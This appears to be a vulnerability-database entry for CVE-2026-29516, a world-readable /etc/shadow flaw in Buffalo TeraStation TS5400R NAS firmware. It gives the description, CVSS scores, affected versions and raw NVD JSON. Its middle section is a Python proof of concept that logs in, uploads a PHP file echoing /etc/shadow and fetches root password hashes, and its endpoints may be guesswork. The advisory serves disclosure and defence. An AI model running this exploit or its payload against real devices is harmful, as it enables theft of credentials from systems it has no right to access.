Security Vulnerability Report
中文
CVE-2026-29516 CVSS 4.9 MEDIUM

CVE-2026-29516

Published: 2026-03-16 20:16:18
Last Modified: 2026-05-14 20:23:30

Description

Buffalo TeraStation NAS TS5400R firmware version 4.02-0.06 and prior contain an excessive file permissions vulnerability that allows authenticated attackers to read the /etc/shadow file by uploading and executing a PHP file through the webserver. Attackers can exploit world-readable permissions on /etc/shadow to retrieve hashed passwords for all configured accounts including root.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:buffaloamericas:terastation_nas_ts5400r_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:buffaloamericas:terastation_nas_ts5400r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Buffalo TeraStation NAS TS5400R firmware <= 4.02-0.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-29516 PoC - Buffalo TeraStation NAS Information Disclosure # Target: Buffalo TeraStation NAS TS5400R firmware <= 4.02-0.06 TARGET = "http://target-ip" # Replace with target IP USERNAME = "admin" # Replace with valid credentials PASSWORD = "password" # Replace with valid password def exploit(): """ This PoC demonstrates the excessive file permissions vulnerability in Buffalo TeraStation NAS TS5400R. The /etc/shadow file has world-readable permissions, allowing authenticated users to read password hashes. """ session = requests.Session() # Step 1: Login to the NAS web interface login_url = f"{TARGET}/cgi-bin/cgi?func=login" login_data = { "username": USERNAME, "password": PASSWORD } try: response = session.post(login_url, data=login_data, timeout=30) if response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious PHP file through file manager upload_url = f"{TARGET}/cgi-bin/file-manager" php_payload = "<?php echo file_get_contents('/etc/shadow'); ?>" files = { 'file': ('exploit.php', php_payload, 'application/x-php') } response = session.post(upload_url, files=files, timeout=30) print("[+] PHP file uploaded") # Step 3: Execute the uploaded PHP file exec_url = f"{TARGET}/shared/exploit.php" response = session.get(exec_url, timeout=30) if response.status_code == 200 and 'root:' in response.text: print("[+] Successfully retrieved /etc/shadow contents") print("=" * 50) print(response.text) print("=" * 50) return True else: print("[-] Failed to retrieve shadow file") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2026-29516 PoC - Buffalo TeraStation NAS") print("Target: " + TARGET) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29516", "sourceIdentifier": "[email protected]", "published": "2026-03-16T20:16:18.113", "lastModified": "2026-05-14T20:23:29.717", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Buffalo TeraStation NAS TS5400R firmware version 4.02-0.06 and prior contain an excessive file permissions vulnerability that allows authenticated attackers to read the /etc/shadow file by uploading and executing a PHP file through the webserver. Attackers can exploit world-readable permissions on /etc/shadow to retrieve hashed passwords for all configured accounts including root."}, {"lang": "es", "value": "La versión de firmware 4.02-0.06 y anteriores de Buffalo TeraStation NAS TS5400R contienen una vulnerabilidad de permisos de archivo excesivos que permite a atacantes autenticados leer el archivo / etc / shadow al cargar y ejecutar un archivo PHP a través del servidor web. Los atacantes pueden explotar los permisos de lectura global en / etc / shadow para recuperar contraseñas con hash para todas las cuentas configuradas, incluyendo root."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-732"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:buffaloamericas:terastation_nas_ts5400r_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "4.02-0.06", "matchCriteriaId": "AAA22816-3D87-4A44-842E-76D3CD7CA837"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:buffaloamericas:terastation_nas_ts5400r:-:*:*:*:*:*:*:*", "matchCriteriaId": "29B75845-6899-4E0B-BAC6-4730DA232039"}]}]}], "references": [{"url": "https://buffaloamericas.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/buffalo-terastation-ts5400r-excessive-file-permissions-information-disclosure", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}